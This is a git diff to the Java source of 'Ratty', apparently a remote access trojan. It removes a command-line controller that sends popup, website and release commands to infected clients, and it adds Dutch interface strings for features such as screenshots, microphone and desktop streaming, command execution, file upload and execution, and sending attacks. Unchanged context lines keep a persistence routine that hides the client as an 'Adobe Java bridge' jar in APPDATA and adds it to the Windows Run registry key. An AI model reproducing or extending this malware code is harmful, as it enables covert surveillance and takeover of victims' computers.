diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index c019501..0590f93 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -34,24 +34,8 @@ action.new_directory=Create new directory column.name=Name column.location=Location -column.address=IP Address -column.os=OS +column.address=IP address +column.os=Operating system column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice - -cmd.help=HELP: Prints this\r\n\ -LIST: Lists all connections\r\n\ -EXIT: Well...\r\n\ -FREE : Frees a client\r\n\ -POPUP : Shows a popup on the client's device\r\n\ -WEBSITE : Opens a website on the client's device\r\n\ -\r\n\ -: Either a number (the index) or an IP address\r\n\ -: A string surrounded by quotation marks -cmd.start=Ratty command line tool\r\n\ -Type 'HELP' to get a list of commands -cmd.invalid=Invalid command or parameters -cmd.empty_list=No client connected yet -cmd.connected=Client connected -cmd.disconnected=Client disconnected \ No newline at end of file +column.voice=Streaming voice \ No newline at end of file diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index b3f952e..91dc98d 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -35,23 +35,7 @@ action.new_directory=Neuen Ordner erstellen column.name=Name column.location=Ort column.address=IP-Adresse -column.os=OS +column.os=Betriebssystem column.version=Version column.desktop=Desktopstream -column.voice=Mikrofonstream - -cmd.help=HELP: Gibt das hier aus\r\n\ -LIST: Gibt alle Verbindungen aus\r\n\ -EXIT: Naja...\r\n\ -FREE : Befreit den Client\r\n\ -POPUP : Öffnet ein Popupfenster beim Client\r\n\ -WEBSITE : Öffnet eine Webseite beim Client\r\n\ -\r\n\ -: Entweder eine Nummer (der Index) oder eine IP-Adresse\r\n\ -: Eine Zeichenkette in Anführungszeichen -cmd.start=Ratty Kommandozeilen-Tool\r\n\ -Gib 'HELP' für eine Listen von Befehlen ein -cmd.invalid=Ungültiger Befehl oder Parameter -cmd.empty_list=Noch kein Client verbunden -cmd.connected=Client verbunden -cmd.disconnected=Client getrennt \ No newline at end of file +column.voice=Mikrofonstream \ No newline at end of file diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index c019501..0590f93 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -34,24 +34,8 @@ action.new_directory=Create new directory column.name=Name column.location=Location -column.address=IP Address -column.os=OS +column.address=IP address +column.os=Operating system column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice - -cmd.help=HELP: Prints this\r\n\ -LIST: Lists all connections\r\n\ -EXIT: Well...\r\n\ -FREE : Frees a client\r\n\ -POPUP : Shows a popup on the client's device\r\n\ -WEBSITE : Opens a website on the client's device\r\n\ -\r\n\ -: Either a number (the index) or an IP address\r\n\ -: A string surrounded by quotation marks -cmd.start=Ratty command line tool\r\n\ -Type 'HELP' to get a list of commands -cmd.invalid=Invalid command or parameters -cmd.empty_list=No client connected yet -cmd.connected=Client connected -cmd.disconnected=Client disconnected \ No newline at end of file +column.voice=Streaming voice \ No newline at end of file diff --git a/Ratty/res/language/lang_nl.properties b/Ratty/res/language/lang_nl.properties new file mode 100644 index 0000000..3170980 --- /dev/null +++ b/Ratty/res/language/lang_nl.properties @@ -0,0 +1,41 @@ +debug.question=Server of client +debug.server=Server +debug.client=Client + +server.port_question=Welke poort zou de server zich aan moeten binden? +server.port_error=Invaliede poort +server.free_warning=De client zal pas bruikbaar zijn na het toestel herstart.\r\n\ +Doorgaan? +server.free_yes=Ja +server.free_no=Aborteer + +builder.address_question=Welk adres zou de client aan moete verbinden? +builder.port_question=Welke poort? +builder.error=Er is iets fout gegaan. + +action.popup=Open popup +action.screenshot=Neem screenshot +action.desktop=Toggle desktop stream +action.voice=Toggle microfoon stream +action.files=Doorzoek bestanden +action.command=Executeer commando +action.clipboard=Toon klipbord +action.website=Open website +action.audio=Speel audio +action.free=Gratis client +action.build=Client bouwer +action.attack=Stuur aanval +action.request_files=Verzoek inhoud +action.download=Download bestand +action.upload=Upload bestand hier +action.execute=Executeer bestand +action.delete=Verwijder bestand +action.new_directory=Maak nieuwe directory + +column.name=Naam +column.location=Locatie +column.address=IP adress +column.os=Besturingssysteem +column.version=Versie +column.desktop=Streaming desktop +column.voice=Streaming microfoon \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 12b4f0a..8fecac1 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -12,9 +12,7 @@ import javax.swing.UIManager; import javax.swing.plaf.nimbus.NimbusLookAndFeel; import de.sogomn.engine.util.FileUtils; -import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.ActiveServer; -import de.sogomn.rat.server.cmd.RattyCmdController; import de.sogomn.rat.server.gui.RattyGuiController; /* @@ -25,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.9"; + public static final String VERSION = "1.10"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; @@ -37,7 +35,6 @@ public final class Ratty { private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; - private static final String NO_GUI_COMMAND = "NOGUI"; private static final String PORT_INPUT_QUESTION = LANGUAGE.getString("server.port_question"); private static final String PORT_ERROR_MESSAGE = LANGUAGE.getString("server.port_error"); @@ -124,15 +121,9 @@ public final class Ratty { newClient.start(); } - public static void startServer(final int port, final boolean gui) { + public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); - final AbstractRattyController controller; - - if (gui) { - controller = new RattyGuiController(); - } else { - controller = new RattyCmdController(); - } + final RattyGuiController controller = new RattyGuiController(); server.setObserver(controller); server.start(); @@ -149,7 +140,7 @@ public final class Ratty { if (input == JOptionPane.YES_OPTION) { System.out.println(DEBUG_SERVER); - startServer(port, true); + startServer(port); } else if (input == JOptionPane.NO_OPTION) { System.out.println(DEBUG_CLIENT); @@ -159,28 +150,18 @@ public final class Ratty { addToStartup(); connectToHost(address, port); } else { - if (args.length >= 2 && args[0].equalsIgnoreCase(NO_GUI_COMMAND)) { - final int port = parsePort(args[1]); - - if (port != -1) { - startServer(port, false); - } else { - System.out.println(PORT_ERROR_MESSAGE); - } + final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION); + + if (input == null) { + return; + } + + final int port = parsePort(input); + + if (port != -1) { + startServer(port); } else { - final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION); - - if (input == null) { - return; - } - - final int port = parsePort(input); - - if (port != -1) { - startServer(port, true); - } else { - JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE, null, JOptionPane.ERROR_MESSAGE); - } + JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE, null, JOptionPane.ERROR_MESSAGE); } } } diff --git a/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java b/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java deleted file mode 100644 index daecdc0..0000000 --- a/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java +++ /dev/null @@ -1,146 +0,0 @@ -package de.sogomn.rat.server.cmd; - -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStreamReader; -import java.util.ArrayList; - -import de.sogomn.engine.util.AbstractListenerContainer; - -public final class CommandLineReader extends AbstractListenerContainer { - - private BufferedReader reader; - private Thread thread; - - public CommandLineReader() { - final InputStreamReader inReader = new InputStreamReader(System.in); - - reader = new BufferedReader(inReader); - } - - private String readLine() { - try { - final String line = reader.readLine(); - - return line; - } catch (final IOException ex) { - return null; - } - } - - public void start() { - final Runnable runnable = () -> { - while (true) { - final String line = readLine(); - - if (line != null) { - final Command command = Command.parse(line); - - notifyListeners(listener -> listener.commandInput(command)); - } - } - }; - - thread = new Thread(runnable); - thread.start(); - } - - public void stop() { - thread.interrupt(); - thread = null; - } - - public static final class Command { - - private final String command; - private final String[] arguments; - - private static final char ARGUMENT_SEPARATOR = ' '; - private static final char STRING_LITERAL = '\"'; - - public static final Command EMPTY = new Command(""); - - public Command(final String command, final String... arguments) { - this.command = command; - this.arguments = arguments; - } - - @Override - public boolean equals(final Object obj) { - if (this == obj) { - return true; - } else if (obj == null || getClass() != obj.getClass() || command == null) { - return false; - } - - final Command other = (Command)obj; - final boolean equals = command.equalsIgnoreCase(other.command); - - return equals; - } - - public boolean equals(final String string) { - if (command == null || string == null) { - return false; - } - - return command.equalsIgnoreCase(string); - } - - @Override - public String toString() { - return command; - } - - public String argument(final int index) { - if (index < 0 || index > arguments.length - 1) { - return null; - } - - return arguments[index]; - } - - public static Command parse(final String line) { - if (line == null || line.isEmpty()) { - return EMPTY; - } - - final int length = line.length(); - final StringBuilder currentArgument = new StringBuilder(); - final ArrayList arguments = new ArrayList(); - - boolean string = false; - - for (int i = 0; i < length; i++) { - final char c = line.charAt(i); - - if (c == STRING_LITERAL) { - string = !string; - } else if (c == ARGUMENT_SEPARATOR && !string) { - final String argument = currentArgument.toString(); - - arguments.add(argument); - currentArgument.setLength(0); - } else { - currentArgument.append(c); - } - } - - final String argument = currentArgument.toString(); - - arguments.add(argument); - - final String commandString = arguments.get(0); - final String[] argumentArray = arguments - .stream() - .skip(1) - .filter(arg -> arg != null && !arg.isEmpty()) - .toArray(String[]::new); - final Command command = new Command(commandString, argumentArray); - - return command; - } - - } - -} diff --git a/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java b/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java deleted file mode 100644 index 5a55784..0000000 --- a/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java +++ /dev/null @@ -1,9 +0,0 @@ -package de.sogomn.rat.server.cmd; - -import de.sogomn.rat.server.cmd.CommandLineReader.Command; - -public interface ICommandLineListener { - - void commandInput(final Command command); - -} diff --git a/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java b/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java deleted file mode 100644 index 59e5905..0000000 --- a/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java +++ /dev/null @@ -1,247 +0,0 @@ -package de.sogomn.rat.server.cmd; - -import static de.sogomn.rat.Ratty.LANGUAGE; - -import java.io.IOException; -import java.io.OutputStream; -import java.io.PrintStream; - -import de.sogomn.rat.ActiveConnection; -import de.sogomn.rat.packet.ClipboardPacket; -import de.sogomn.rat.packet.FreePacket; -import de.sogomn.rat.packet.IPacket; -import de.sogomn.rat.packet.PopupPacket; -import de.sogomn.rat.packet.WebsitePacket; -import de.sogomn.rat.server.AbstractRattyController; -import de.sogomn.rat.server.ActiveServer; -import de.sogomn.rat.server.cmd.CommandLineReader.Command; - -public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { - - private CommandLineReader reader; - - private static final String FREE = "Free"; - private static final String EXIT = "Exit"; - private static final String LIST = "List"; - private static final String POPUP = "Popup"; - private static final String HELP = "Help"; - private static final String WEBSITE = "WEBSITE"; - - private static final String START_MESSAGE = LANGUAGE.getString("cmd.start"); - private static final String HELP_MESSAGE = LANGUAGE.getString("cmd.help"); - private static final String INVALID_COMMAND = LANGUAGE.getString("cmd.invalid"); - private static final String EMPTY_LIST_MESSAGE = LANGUAGE.getString("cmd.empty_list"); - private static final String CLIENT_CONNECTED_MESSAGE = LANGUAGE.getString("cmd.connected"); - private static final String CLIENT_DISCONNECTED_MESSAGE = LANGUAGE.getString("cmd.disconnected"); - - public RattyCmdController() { - reader = new CommandLineReader(); - - System.setErr(new PrintStream(new OutputStream() { - @Override - public void write(final int b) throws IOException { - //... - } - })); - - System.out.println(START_MESSAGE); - System.out.println(); - - reader.addListener(this); - reader.start(); - } - - private int parseIndexSafely(final String string) { - if (string == null) { - return -1; - } - - try { - final int number = Integer.parseInt(string); - - return number; - } catch (final NumberFormatException ex) { - return -1; - } - } - - private ActiveConnection getConnectionByIndex(final int index) { - if (index < 0 || index > connections.size() - 1) { - return null; - } - - return connections.get(index); - } - - private ActiveConnection getConnectionByAddress(final String address) { - if (address == null) { - return null; - } - - for (final ActiveConnection connection : connections) { - final String connectionAddress = connection.getAddress(); - - if (connectionAddress.equals(address)) { - return connection; - } - } - - return null; - } - - private ActiveConnection getConnection(final String input) { - if (input == null) { - return null; - } - - final int index = parseIndexSafely(input); - final ActiveConnection connection; - - if (index != -1) { - connection = getConnectionByIndex(index); - } else { - connection = getConnectionByAddress(input); - } - - return connection; - } - - /* - * ================================================== - * HANDLING COMMANDS - * ================================================== - */ - - private boolean freeClient(final Command command) { - final String input = command.argument(0); - final ActiveConnection connection = getConnection(input); - - if (connection != null) { - final FreePacket packet = new FreePacket(); - - connection.addPacket(packet); - - return true; - } - - return false; - } - - private void listConnections() { - if (connections.isEmpty()) { - System.out.println(EMPTY_LIST_MESSAGE); - } - - connections.stream().forEach(connection -> { - final int index = connections.indexOf(connection); - - System.out.println(index + ": " + connection.getAddress()); - }); - } - - private boolean sendPopup(final Command command) { - final String connectionInput = command.argument(0); - final ActiveConnection connection = getConnection(connectionInput); - final String message = command.argument(1); - - if (connection != null && message != null) { - final PopupPacket packet = new PopupPacket(message); - - connection.addPacket(packet); - - return true; - } - - return false; - } - - private boolean openWebsite(final Command command) { - final String connectionInput = command.argument(0); - final ActiveConnection connection = getConnection(connectionInput); - final String address = command.argument(1); - - if (connection != null && address != null) { - final WebsitePacket packet = new WebsitePacket(address); - - connection.addPacket(packet); - - return true; - } - - return false; - } - - /* - * ================================================== - * HANDLING PACKETS - * ================================================== - */ - - private void handleClipboardPacket(final ClipboardPacket packet) { - final String content = packet.getClipbordContent(); - - System.out.println(content); - } - - /* - * ================================================== - * HANDLING END - * ================================================== - */ - - @Override - public void packetReceived(final ActiveConnection connection, final IPacket packet) { - final Class clazz = packet.getClass(); - - if (clazz == ClipboardPacket.class) { - final ClipboardPacket clipboard = (ClipboardPacket)packet; - - handleClipboardPacket(clipboard); - } - } - - @Override - public void commandInput(final Command command) { - boolean successful = true; - - if (command.equals(EXIT)) { - System.exit(0); - } else if (command.equals(FREE)) { - successful = freeClient(command); - } else if (command.equals(LIST)) { - listConnections(); - } else if (command.equals(POPUP)) { - successful = sendPopup(command); - } else if (command.equals(HELP)) { - System.out.println(HELP_MESSAGE); - } else if (command.equals(WEBSITE)) { - successful = openWebsite(command); - } else { - successful = false; - } - - if (!successful) { - System.out.println(INVALID_COMMAND); - - } - - System.out.println(); - } - - @Override - public void connected(final ActiveServer server, final ActiveConnection connection) { - super.connected(server, connection); - - System.out.println(CLIENT_CONNECTED_MESSAGE); - System.out.println(); - } - - @Override - public void disconnected(final ActiveConnection connection) { - super.disconnected(connection); - - System.out.println(CLIENT_DISCONNECTED_MESSAGE); - System.out.println(); - } - -} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 806d001..68860c4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -49,7 +49,7 @@ final class RattyGui extends AbstractListenerContainer { private ServerClient lastServerClientClicked; - private static final Dimension SIZE = new Dimension(800, 600); + private static final Dimension SIZE = new Dimension(950, 600); private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64);